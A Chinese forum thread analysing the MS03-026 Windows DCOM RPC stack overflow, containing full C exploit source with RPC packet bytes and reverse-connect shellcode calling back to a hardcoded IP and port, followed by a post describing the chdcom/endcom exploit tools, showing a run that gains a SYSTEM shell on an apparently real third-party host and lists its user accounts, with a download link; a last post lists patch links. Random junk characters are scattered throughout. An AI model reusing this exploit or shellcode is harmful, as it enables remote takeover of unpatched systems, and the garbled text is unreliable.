LSD RPC 溢出漏洞之分析

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作者：FLASHSKY / J u- X w3 _+ E作者单位：启明星辰积极防御实验室 WWW SITE：WWW.VENUSTECH.COM.CN WWW.XFOCUS.NET，WWW.SHOPSKY.COM 9 g) V% G. t3 [% m9 e1 Q6 v- K邮件：flashsky@xfocus.org,fangxing@venustech.com.cn,webmaster@shopsky.com 感谢BENJURRY做测试，翻译和代码的通用化处理。 6 i/ o$ W, I$ P' {) ~邮件：benjurry@xfocus.org : t. s# D6 S1 }; n- ?) sLSD 的RPC溢出漏洞（MS03-26）其实包含了2个溢出漏洞，一个是本地的，一个是远程的。他们都是由一个通用接口导致的。 导致问题的调用如下： hr = CoGetInstanceFromFile(pServerInfo,NULL,0,CLSCTX_REMOTE_SERVER,STGM_READWRITE,L"C:\\1234561111111111111111111111111.doc",1,&qi); 这个调用的文件名参数（第5个参数，会引起溢出），当这个文件名超长的时候，会导致客户端的本地溢出（在RPCSS中的GetPathForServer函数里只给了0X220堆栈的空间，但是是用lstrcpyw进行拷贝的），这个我们在这里就不深入研究了(不过这个API先会检查本地文件是否存在，在进行处理，因此由于建不了长文件，所以要利用这个溢出不能直接调用这个API，而是构造好包信息以后直接调用LPC的函数，有兴趣的可以自己去试。),我们来讲解一下远程的溢出。 在客户端给服务器传递这个参数的时候，会自动转化成如下格式：L“\\servername\c$\1234561111111111111111111111111.doc"这样的形式传递给远程服务器，于是在远程服务器的处理中会先取出servername名，但是这里没做检查，给定了0X20（默认NETBIOS名）大小的空间，于是堆栈溢出产生了： 问题代码如下： GetPathForServer： .text:761543DA push ebp - [9 I1 ?9 ^$ F* `.text:761543DB mov ebp, esp .text:761543DD sub esp, 20h <-----0x20空间 .text:761543E0 mov eax, [ebp+arg_4] .text:761543E3 push ebx ' O% d+ i+ ~; j1 h7 i7 d.text:761543E4 push esi 4 {2 r! l& w& Y/ P- ^.text:761543E5 mov esi, [ebp+hMem] .text:761543E8 push edi 3 n/ g) A) `, J( Y. k( X8 M.text:761543E9 push 5Ch , \# {# A6 g* ?. C& ?1 H2 |* a' s.text:761543EB pop ebx ( d2 e" r4 @) U d) E3 N* U/ T5 j9 E.text:761543EC mov [eax], esi - l, `* w3 }' c9 ?& R6 p& m.text:761543EE cmp [esi], bx " S! |- ~$ ^" [$ G9 g.text:761543F1 mov edi, esi .text:761543F3 jnz loc_761544BF .text:761543F9 cmp [esi+2], bx .text:761543FD jnz loc_761544BF # Y k$ D! V+ y7 P5 L) |4 j! y; j+ U8 w.text:76154403 lea eax, [ebp+String1]《-----------写入的地址，只有0X20 6 v' U- o0 P O6 J- P @.text:76154406 push 0 .text:76154408 push eax " e6 p, M- A8 I0 Q1 q.text:76154409 push esi 〈----------------------我们传入的文件名参数 .text:7615440A call GetMachineName 。。。。。。。。。。。。。。。。。。。。。。。。。。 此函数返回的时候，溢出点生效 ( z# k( Z0 K t, n; {GetMachineName: .text:7614DB6F mov eax, [ebp+arg_0] .text:7614DB72 mov ecx, [ebp+arg_4] .text:7614DB75 lea edx, [eax+4] ' d) B4 H2 [$ I.text:7614DB78 mov ax, [eax+4] .text:7614DB7C cmp ax, 5Ch 〈-----------------只判断0X5C 0 P1 ~0 q5 w: p4 e+ B' w.text:7614DB80 jz short loc_7614DB93 .text:7614DB82 sub edx, ecx .text:7614DB84 .text:7614DB84 loc_7614DB84: ; CODE XREF: sub_7614DA19+178j .text:7614DB84 mov [ecx], ax 〈----------------写入上个只有0X20的空间，超过就溢出 .text:7614DB87 inc ecx 9 O9 l5 M, ~) D3 v8 b# B.text:7614DB88 inc ecx 6 W* I% k3 R' Q B+ Q- C$ O.text:7614DB89 mov ax, [ecx+edx] .text:7614DB8D cmp ax, 5Ch # _3 y% x$ i7 X" G1 f. Q.text:7614DB91 jnz short loc_7614DB84 .text:7614DB93 " A3 x" a# r6 P+ m' U2 [+ r, d' b( n ; W) D2 p# j+ C2 iOK，我们现在就需要想法来利用这个漏洞，由于\\SERVERNAME是由系统自动生成的，我们只能利用手工直接生成RPC的包来实现，另外SHELLCODE中不能包含0X5C，因为这样判断就是\\SERVERNAME结束了。 . b/ Z+ n9 U; d: v3 \下面就给出一个实现的代码，注意点如下： / f; ~0 Q' ^) E) \3 y- v1.由于RPCRT4，RPCSS中没有JMP ESP的代码，这里使用了OLE32.DLL中的，但是这可能是会重定位的，大家测试的时候 % G4 S. _- o9 U: p1 h需要再确定或自己找一个存在的JMP ESP的代脉，我的这是WIN2000+SP3上的地址且OLE32未重定位情况下的。 2。这里使用了反向连接的SHELLCODE，需要先运行NC 3。程序中的SC的整体长度必须满足sizeof(sz)%16=12的关系，因为不是整数的话，整个包的长度会有一些填充，那么 计算就不满足我这里给出的一个简单关系了，会导致RPC包的解析无效果。 4。在溢出返回前，返回地址后面的2个参数还会使用，所以需要保证是个内存可写空间地址。 5，这里是直接使用堆栈溢出返回的，其实大家也可以尝试一下覆盖SEH，这里就不再多讲了。 #include ' q6 Q8 k; W* a9 Q( S4 j/ p#include . C) I& u s: ?! T, o; k# t#include ; b' C+ e' l4 S0 g- _! @#include #include , m& M; R& m6 Y3 B#include 9 l' R: X; W' N* Y& p6 g) [ unsigned char bindstr[]={ 0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00, 0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00, % N1 X8 c; m- D% i0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00, S3 i2 C- \" w, \1 \# @0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00, 0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00}; ( S8 ]. f; j) x5 \ unsigned char request1[]={ 0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03 ,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00 ,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45 ,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00 9 R l, c0 p0 S,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E ,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D ,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41 ,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00 ,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45 ,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00 ,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00 ,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03 1 U9 S# j8 E' o. h2 r9 e,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00 ,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ) b \7 B% K1 f$ U,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29 ! ~6 U* ^$ Y d2 L! I. r0 f,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00 / P1 o# ~/ ]8 T) h7 Q) e# n,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00 % }7 s' Z5 B0 u0 _1 C,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00 , m* B0 o1 U+ H) L4 u7 ?1 R) f7 f,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00 1 m/ ^1 y9 u! m8 N,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00 ! E) y; ]- h) t, [9 \1 W- x. W,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00 $ O( w' T! m7 O,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10 % i$ E8 b0 C- Q5 \& R,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF ,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 % r1 _4 B0 R" K; p' p& |* `,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 . l8 T# ^8 U. Y,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10 ,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09 # |' {3 m4 G) b4 q1 o4 B,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00 3 B& g; [$ U7 f- Q0 e,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00 ,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00 7 f" I, U0 P7 ~! o; {7 @0 Z' B,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 . V5 ^( v1 R5 e# O2 B7 ]* v5 E,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00 7 \- l/ i- R5 p3 K1 J,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01 ,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03 1 t0 i% t: i- s' |1 \1 c. @2 A. l,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00 ,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E ,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 * D G# b9 D' K# \ N- ^. S,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00 ,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00 ,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00 g3 x& r) ?& o j% T) C6 o,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ' J" h! \+ d+ C,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00 ; r7 H2 Z3 @3 ^9 Q' @" Y,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00}; 3 C3 B7 b" H; P% H# Y1 h1 v" lunsigned char request2[]={ 0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00 ,0x00,0x00,0x5C,0x00,0x5C,0x00}; " v! e* k2 g, ~. B! @ unsigned char request3[]={ : G6 b3 h# J. N$ q# e9 s" n5 E0x5C,0x00 ,0x43,0x00,0x24,0x00,0x5C,0x00,0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x00 / ?; D- m0 z, h# f* _6 e; l,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00 0 \2 Z" V% G) e$ Y2 p3 x,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00 ,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00}; # y2 @& q5 W, B. E unsigned char sc[]= "\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00" % v! p. {0 i5 |* e"\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00" "\x46\x00\x58\x00" "\x46\x00\x58\x00\x25\x2b\xaa\x77" //JMP ESP地址 IN ole32.DLL，可能需要自己改动 4 Y; x; R5 Y8 |. B' L N0 @"\x38\x6e\x16\x76\x0d\x6e\x16\x76" //需要是可写的内存地址 $ f: f% F, T" l9 ]//下面是SHELLCODE，可以放自己的SHELLCODE，但必须保证sc的整体长度/16=12，不满足自己填充一些0X90吧 //SHELLCODE不存在0X00，0X00与0X5C "\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x58\x83\xc0\x1b\x8d\xa0\x01" ( m0 J: m$ X. R. p0 H. B4 }"\xfc\xff\xff\x83\xe4\xfc\x8b\xec\x33\xc9\x66\xb9\x99\x01\x80\x30" 6 O) [ a r" `$ \1 s6 g0 i) ["\x93\x40\xe2\xfa" // code "\x7b\xe4\x93\x93\x93\xd4\xf6\xe7\xc3\xe1\xfc\xf0\xd2\xf7\xf7\xe1" c9 `& ~- Y7 W& h- b"\xf6\xe0\xe0\x93\xdf\xfc\xf2\xf7\xdf\xfa\xf1\xe1\xf2\xe1\xea\xd2" 0 o7 i5 z. L6 r# d; C- i"\x93\xd0\xe1\xf6\xf2\xe7\xf6\xc3\xe1\xfc\xf0\xf6\xe0\xe0\xd2\x93" "\xd0\xff\xfc\xe0\xf6\xdb\xf2\xfd\xf7\xff\xf6\x93\xd6\xeb\xfa\xe7" "\xc7\xfb\xe1\xf6\xf2\xf7\x93\xe4\xe0\xa1\xcc\xa0\xa1\x93\xc4\xc0" 2 j, \9 Z, Q5 O& a' p"\xd2\xc0\xe7\xf2\xe1\xe7\xe6\xe3\x93\xc4\xc0\xd2\xc0\xfc\xf0\xf8" "\xf6\xe7\xd2\x93\xf0\xff\xfc\xe0\xf6\xe0\xfc\xf0\xf8\xf6\xe7\x93" "\xf0\xfc\xfd\xfd\xf6\xf0\xe7\x93\xf0\xfe\xf7\x93\xc9\xc1\x28\x93" "\x93\x63\xe4\x12\xa8\xde\xc9\x03\x93\xe7\x90\xd8\x78\x66\x18\xe0" "\xaf\x90\x60\x18\xe5\xeb\x90\x60\x18\xed\xb3\x90\x68\x18\xdd\x87" "\xc5\xa0\x53\xc4\xc2\x18\xac\x90\x68\x18\x61\xa0\x5a\x22\x9d\x60" ; t) Z; U: u1 e% O"\x35\xca\xcc\xe7\x9b\x10\x54\x97\xd3\x71\x7b\x6c\x72\xcd\x18\xc5" "\xb7\x90\x40\x42\x73\x90\x51\xa0\x5a\xf5\x18\x9b\x18\xd5\x8f\x90" "\x50\x52\x72\x91\x90\x52\x18\x83\x90\x40\xcd\x18\x6d\xa0\x5a\x22" ' `$ r+ B: u' z0 I0 j$ P+ Q"\x97\x7b\x08\x93\x93\x93\x10\x55\x98\xc1\xc5\x6c\xc4\x63\xc9\x18" ( {4 ^8 S; e" I& v"\x4b\xa0\x5a\x22\x97\x7b\x14\x93\x93\x93\x10\x55\x9b\xc6\xfb\x92" "\x92\x93\x93\x6c\xc4\x63\x16\x53\xe6\xe0\xc3\xc3\xc3\xc3\xd3\xc3" 6 g8 L6 x* N# Z8 `- B"\xd3\xc3\x6c\xc4\x67\x10\x6b\x6c\xe7\xf0\x18\x4b\xf5\x54\xd6\x93" "\x91\x93\xf5\x54\xd6\x91\x28\x39\x54\xd6\x97\x4e\x5f\x28\x39\xf9" ( c: X7 c+ Z% ~- _"\x83\xc6\xc0\x6c\xc4\x6f\x16\x53\xe6\xd0\xa0\x5a\x22\x82\xc4\x18" / o: ^ n- G" Q"\x6e\x60\x38\xcc\x54\xd6\x93\xd7\x93\x93\x93\x1a\xce\xaf\x1a\xce" " ^4 Y5 X. h5 a' O* R& D, s"\xab\x1a\xce\xd3\x54\xd6\xbf\x92\x92\x93\x93\x1e\xd6\xd7\xc3\xc6" " p$ }" }6 N5 k% a0 A"\xc2\xc2\xc2\xd2\xc2\xda\xc2\xc2\xc5\xc2\x6c\xc4\x77\x6c\xe6\xd7" "\x6c\xc4\x7b\x6c\xe6\xdb\x6c\xc4\x7b\xc0\x6c\xc4\x6b\xc3\x6c\xc4" "\x7f\x19\x95\xd5\x17\x53\xe6\x6a\xc2\xc1\xc5\xc0\x6c\x41\xc9\xca" "\x1a\x94\xd4\xd4\xd4\xd4\x71\x7a\x50\x90\x90" * G+ l. l( I/ |5 A"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"; 9 X- F; x4 Y3 n C / @4 P# A) H6 D& funsigned char request4[]={ / o- u* J/ x$ n4 o2 z' L0x01,0x10 ,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,0x00,0x00 9 L; l. w" F2 D2 p,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x28,0x8C ,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00 c% {5 W5 [% _, O( H1 z}; 4 W) A2 O# c: {: c# ^0 P+ p void main(int argc,char ** argv) { 7 j7 }" q* J3 h. T8 N2 F* y7 fWSADATA WSAData; 3 p& L) ]$ ^+ f3 x% F! p" o4 G* e) WSOCKET sock; int len,len1; SOCKADDR_IN addr_in; + B3 d; H7 T+ ^7 R% V* E# \short port=135; : p8 t \' [! y0 {; L5 Y5 funsigned char buf1[0x1000]; ( d2 K$ C% u3 f; K+ t% iunsigned char buf2[0x1000]; 7 A0 @, }7 S& @( |unsigned short port1; 5 ^9 N4 O2 P a) C: H3 XDWORD cb; 8 G/ {# Z+ V- E( a% b' Y9 y ' E, u# g$ O) Kif (WSAStartup(MAKEWORD(2,0),&WSAData)!=0) { printf("WSAStartup error.Error:%d\n",WSAGetLastError()); ' T7 @8 f# Z) b7 X) f# N9 N" E! ]return; } addr_in.sin_family=AF_INET; # B! B( g1 Y7 G+ a: b7 } Maddr_in.sin_port=htons(port); addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]); if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET) { printf("Socket failed.Error:%d\n",WSAGetLastError()); return; } " r) d! A: @1 m* D. p; I/ ?3 ^if(WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR) + K* E: }0 `$ j- d' @3 H+ d, O{ printf("Connect failed.Error:%d",WSAGetLastError()); return; } port1 = htons (2300); //反向连接的端口 $ _- X9 F N/ |- h0 W L8 C kport1 ^= 0x9393; ) L8 c- i' M. {/ Kcb=0XD20AA8C0; //反向连接的IP地址，这里是192。168。10。210， cb ^= 0x93939393; " s4 O) x/ b% Q6 A+ Q$ g: S. E*(unsigned short *)&sc[330+0x30] = port1; *(unsigned int *)&sc[335+0x30] = cb; & c2 x0 R4 ~& d2 X* M& @len=sizeof(sc); 7 a! c# Q8 J: zmemcpy(buf2,request1,sizeof(request1)); len1=sizeof(request1); *(DWORD *)(request2)=*(DWORD *)(request2)+sizeof(sc)/2; //计算文件名双字节长度 ! Y0 M$ F" D1 i _! z/ t*(DWORD *)(request2+8)=*(DWORD *)(request2+8)+sizeof(sc)/2;//计算文件名双字节长度 memcpy(buf2+len1,request2,sizeof(request2)); 1 o' `. X3 {0 Q; O" |% y- qlen1=len1+sizeof(request2); % b$ c1 _% `; s3 m- `& } Nmemcpy(buf2+len1,sc,sizeof(sc)); len1=len1+sizeof(sc); ' ^. n+ N% B9 i8 q5 S @& h9 n% U1 amemcpy(buf2+len1,request3,sizeof(request3)); len1=len1+sizeof(request3); memcpy(buf2+len1,request4,sizeof(request4)); 0 ^& h# N2 }) e* v+ R! r( Olen1=len1+sizeof(request4); *(DWORD *)(buf2+8)=*(DWORD *)(buf2+8)+sizeof(sc)-0xc; //计算各种结构的长度 *(DWORD *)(buf2+0x10)=*(DWORD *)(buf2+0x10)+sizeof(sc)-0xc; *(DWORD *)(buf2+0x80)=*(DWORD *)(buf2+0x80)+sizeof(sc)-0xc; 0 | r5 ~2 {$ D*(DWORD *)(buf2+0x84)=*(DWORD *)(buf2+0x84)+sizeof(sc)-0xc; *(DWORD *)(buf2+0xb4)=*(DWORD *)(buf2+0xb4)+sizeof(sc)-0xc; 2 V4 Q0 Z5 s: Z2 Z/ q, I0 R; {*(DWORD *)(buf2+0xb8)=*(DWORD *)(buf2+0xb8)+sizeof(sc)-0xc; 4 u' P. p; N! L+ V/ a' g! [& a*(DWORD *)(buf2+0xd0)=*(DWORD *)(buf2+0xd0)+sizeof(sc)-0xc; 2 _9 H, k* `; A5 U& `9 L*(DWORD *)(buf2+0x18c)=*(DWORD *)(buf2+0x18c)+sizeof(sc)-0xc; 3 X1 ~: m" [4 [6 j3 sif (send(sock,bindstr,sizeof(bindstr),0)==SOCKET_ERROR) { ' @# `$ B8 w! q+ a9 I6 H% k( lprintf("Send failed.Error:%d\n",WSAGetLastError()); & d$ K* ~/ L7 _% k, {! H; \return; } 8 L* z0 K) r# R& U* W rlen=recv(sock,buf1,1000,NULL); % t* v! b# C; d6 b0 aif (send(sock,buf2,len1,0)==SOCKET_ERROR) $ F) \9 ^' x r1 M* U( d/ h{ printf("Send failed.Error:%d\n",WSAGetLastError()); 8 e# E" E2 ` Y$ g6 C% \return; ( E6 O7 n5 ]; T} len=recv(sock,buf1,1024,NULL); 7 O1 e t$ d7 g( @/ |, b U} & K, L# ]1 z( S( {4 e5 X" H. p& n补丁机理： ; v5 f; m- m! n+ ~" r补丁把远程和本地的溢出都补了，呵呵，这个这么有名的东西，我也懒得多说了。 9 X; }4 k! u" o * j' m1 h: B. |3 G" ~4 f补记： 1 v: S( v- S( G5 N由于缺乏更多的技术细节，搞这个从上星期五到现在终于才搞定，惭愧，不过值得庆幸的是其间发现了RPC DCOM DOS的漏洞。先开始被本地溢出的迷惑了很久，怎么也无法远程进入这个函数，最后偶然的一次，让我错误的看花了眼，再远程调用的时候，以为GETSERVERPATH是存在本地溢出的GetPathForServer函数，，心中以为远程进入了GetPathForServer函数，仔细的跟踪，这才发现问题所在。感谢所有关心和指导我的同志们。

ASEE

攻击：XDcom.rar远程溢出攻击程序里有chdcom和endcom 2个溢出攻击程序 chdcom针对以下版本: 0 R: u1 K+ E" n" D4 s# u" H2 g5 c. m- 0 Windows xp SP1 (cn) 6 o; t7 L0 n: [, f+ z$ M- 1 Windows 2000 SP3 (cn) ) n( O9 \ y9 \/ C! I# T, t3 B, E- 2 Windows 2000 SP4 (cn) - 3 Windows 2000 SP3 (english) - 4 Windows 2000 SP4 (english) : h* X! v2 f6 u# ~6 E& l' @- 5 Windows XP SP0 (english) " N h) @6 M7 @* O; P7 ]- 6 Windows XP SP1 (english) Usage: chdcom cedcom针对以下版本: 3 u/ t1 t% c5 {2 d/ E. o! [, W5 x- 0 Windows 2000 SP0 (english) - 1 Windows 2000 SP1 (english) - 2 Windows 2000 SP2 (english) - 3 Windows 2000 SP3 (english) - 4 Windows 2000 SP4 (english) - 5 Windows XP SP0 (english) & P( |$ Y6 y* J6 w2 h% i- 6 Windows XP SP1 (english) Usage: endcom cygwin1.dll应用程序扩展 溢出目标IP前.先用扫描器扫描开135端口的肉机. 我已经测试近百台主机，当然都开了135的。我是用80来作为判断Target ID的标准。应该不会有错的。其中产生DOS（也就是说明益处成功）为%70左右， . h3 [ A& i3 c( _+ u6 ?/ p 比如说目标69.X.173.63开了135端口.Target ID是4 C:\dcom>chdcom 4 69.X.173.63 * w5 K# s( I7 k1 s# b9 B! p% J3 H9 A--------------------------------------------------------- - Remote DCOM RPC Buffer Overflow Exploit " s4 @0 Z$ g& h( ^3 U- Original code by FlashSky and Benjurry - Rewritten by HDM last 3 J& u; `) S/ x5 n6 A7 H. \) c# F- last by nic 8 o* s G, \/ O, k0 b- t-Compiled and recorrected by pingker! - Using return address of 0x77f92a9b - Dropping to System Shell... # `: b( U6 q1 L2 X# n" p4 W% z! YMicrosoft Windows 2000 [Version 5.00.2195] ' l4 ^/ Q" l! q i( e9 F" y. J9 S( R, E(C) Copyright 1985-2000 Microsoft Corp. 5 Y" W6 w+ F0 x9 S# | : I$ d* g/ @8 e; i, d2 O4 w( gC:\WINNT\system32> ) K: s1 Q9 J& u- ]# l5 |1 F% I# x成功溢出. C:\WINNT\system32>net user net user # R) v5 v; Q9 AUser accounts for \ 1 \" ], u. ^# A' I, {6 X! P---------------------------------------------------------------------------- k4 _2 j. G. i4 G% Q4 \--- Administrator ASPNET billbishopcom % W6 X# w+ s6 C5 W& `) `divyanshu ebuyjunction edynamic1 & J' p& B: U: [. ~. f% r8 Sedynamic2 Guest infinityaspnet 3 H$ j" I2 O" K) H" M0 yinfinityinformations IUSR_DIALTONE IUSR_NS1 IWAM_DIALTONE IWAM_NS1 SQLDebugger - z1 C- n+ W! L5 C6 ?" N8 \+ `TsInternetUser WO The command completed with one or more errors. 0 P5 g7 b3 z( c4 f8 r这样一来你想干什么就是你的事了. 这版本我已成功测试,70%成功率,可怕!!!,但EXIT目标后再溢出只得等目标 重启才行. CN可以是繁体或简体中文颁本. 再次警告:不要对付国内主机!!!!!后果自负!!!! ) Q. k2 q! r# A" h6 P) Q) YXDcom.rar远程溢出攻击程序下载: http://www.cnse8.com/opensoft.asp?soft_id=206&url=3

ASEE

补丁：
Windows NT 4.0 Server ：
  s2 }) w3 {1 D' d, Q8 k! ]0 w
http://microsoft.com/downloads/d ... &displaylang=en
& |5 d9 [' L, G) V7 ^
2 J$ s! \6 b1 R0 PWindows NT 4.0 Terminal Server Edition：
8 {3 R3 c4 U3 s" l: c5 j$ T
9 h2 n( p0 x% H* `* P' h4 k+ Jhttp://microsoft.com/downloads/d ... &displaylang=en
$ M6 X* G9 |# V0 d! s: q
1 G* B# B- a2 r  @9 @4 wWindows 2000：
% c  k+ Y9 [8 f1 g7 p
http://microsoft.com/downloads/d ... &displaylang=en
2 G( w0 j: L! K' e( Y5 k（中文）http://microsoft.com/downloads/details.aspx?displaylang=zh-cn&FamilyID=C8B8A846-F541-4C15-8C9F-220354449117

Windows XP 32 bit Edition ：
0 \! J2 t5 y; n" l: o9 ~9 n
' Z0 W% Q. T5 l4 L6 }" A* |/ @http://microsoft.com/downloads/d ... &displaylang=en
: F/ I' y( [6 j; v! W8 f+ S1 ]
- e7 j# I8 J, B# x+ N: YWindows XP 64 bit Edition：

http://microsoft.com/downloads/d ... &displaylang=en

Windows Server 2003 32 bit Edition：
